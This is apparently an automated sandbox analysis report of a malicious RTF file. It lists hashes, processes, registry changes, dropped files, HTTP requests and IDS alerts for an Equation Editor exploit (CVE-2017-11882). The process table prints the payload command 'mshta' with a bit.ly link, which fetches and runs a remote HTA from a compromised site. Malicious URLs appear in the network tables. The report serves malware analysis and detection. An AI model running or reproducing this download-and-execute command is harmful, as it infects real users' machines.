| File name: | 0001.doc |
| Full analysis: | https://app.any.run/tasks/4fa67967-bfc7-4fa3-99d2-f76421e70c9c |
| Verdict: | Malicious activity |
| Analysis date: | January 18, 2019, 11:24:08 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, unknown character set |
| MD5: | 449C028B604D90FBF46EAB4CB9512909 |
| SHA1: | F2F422E78044E22A00DA3B8CF6147C415F2CDE4A |
| SHA256: | 5B5386FFB99444552C33C70C487CE32CB074C63C91CF75FB9B55F73366523EAA |
| SSDEEP: | 6144:yr3MOkNmarrMMMMMMM3BgDZb9WvWKFKYgiDn:9e |
MALICIOUS
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 3632)
SUSPICIOUS
Starts MSHTA.EXE for opening HTA or HTMLS files
- EQNEDT32.EXE (PID: 3632)
Creates files in the user directory
- mshta.exe (PID: 2316)
Reads Internet Cache Settings
- WINWORD.EXE (PID: 3012)
INFO
Application was crashed
- EQNEDT32.EXE (PID: 3632)
Creates files in the user directory
- WINWORD.EXE (PID: 3012)
Reads internet explorer settings
- mshta.exe (PID: 2316)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3012)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (100) |
|---|
EXIF
RTF
| Author: | - |
|---|---|
| LastModifiedBy: | - |
Total processes
35
Monitored processes
3
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2316 | mshta http://bit.ly/2HfbUVJ &AAAAAAAAAAAAAAA C | C:\Windows\system32\mshta.exe | EQNEDT32.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3012 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\0001.doc.rtf" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3632 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | ||||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
Total events
1 538
Read events
865
Write events
663
Delete events
10
Modification events
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | da% |
Value: 64612500C40B0000010000000000000000000000 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1311899678 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1311899792 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1311899793 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: C40B00004CA7166420AFD40100000000 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 'd% |
Value: 27642500C40B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | 'd% |
Value: 27642500C40B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
0
Suspicious files
1
Text files
1
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3012 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR99D5.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3012 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F375F3E0-13D2-47A2-A361-F64115B99807}.tmp | — | |
MD5:— | SHA256:— | |||
| 3012 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E9B5C50B-96A0-41DB-8BB7-089D393CEB15}.tmp | — | |
MD5:— | SHA256:— | |||
| 3012 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2987F258-1AEC-47D8-BA6F-75D070734B9B}.tmp | — | |
MD5:— | SHA256:— | |||
| 2316 | mshta.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@bit[1].txt | text | |
MD5:— | SHA256:— | |||
| 3012 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3012 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$01.doc.rtf | pgc | |
MD5:— | SHA256:— | |||
| 3012 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{6941F220-D31F-4654-95FC-AA701E93A984}.tmp | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
3
Threats
6
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2316 | mshta.exe | GET | — | 67.199.248.10:80 | http://bit.ly/2HfbUVJ | US | — | — | shared |
2316 | mshta.exe | GET | 302 | 162.241.218.34:80 | http://www.nzfoi.org/wp-content/themes/genesis/lib/order.hta | US | html | 319 b | malicious |
2316 | mshta.exe | GET | 404 | 162.241.218.34:80 | http://box5532.bluehost.com/suspended.page/disabled.cgi/www.nzfoi.org.nz | US | html | 321 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2316 | mshta.exe | 67.199.248.10:80 | bit.ly | Bitly Inc | US | shared |
2316 | mshta.exe | 162.241.218.34:80 | www.nzfoi.org | CyrusOne LLC | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
bit.ly |
| shared |
www.nzfoi.org |
| malicious |
box5532.bluehost.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2316 | mshta.exe | A Network Trojan was detected | MALWARE [PTsecurity] PowerShell.Downloader httpHeader |
2316 | mshta.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious HTA application download |
2316 | mshta.exe | Potentially Bad Traffic | ET POLICY Possible HTA Application Download |
2316 | mshta.exe | Attempted User Privilege Gain | ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl |
2316 | mshta.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious downloader - bit.ly redirect to .hta object |
2316 | mshta.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious downloader - redirect to .hta object |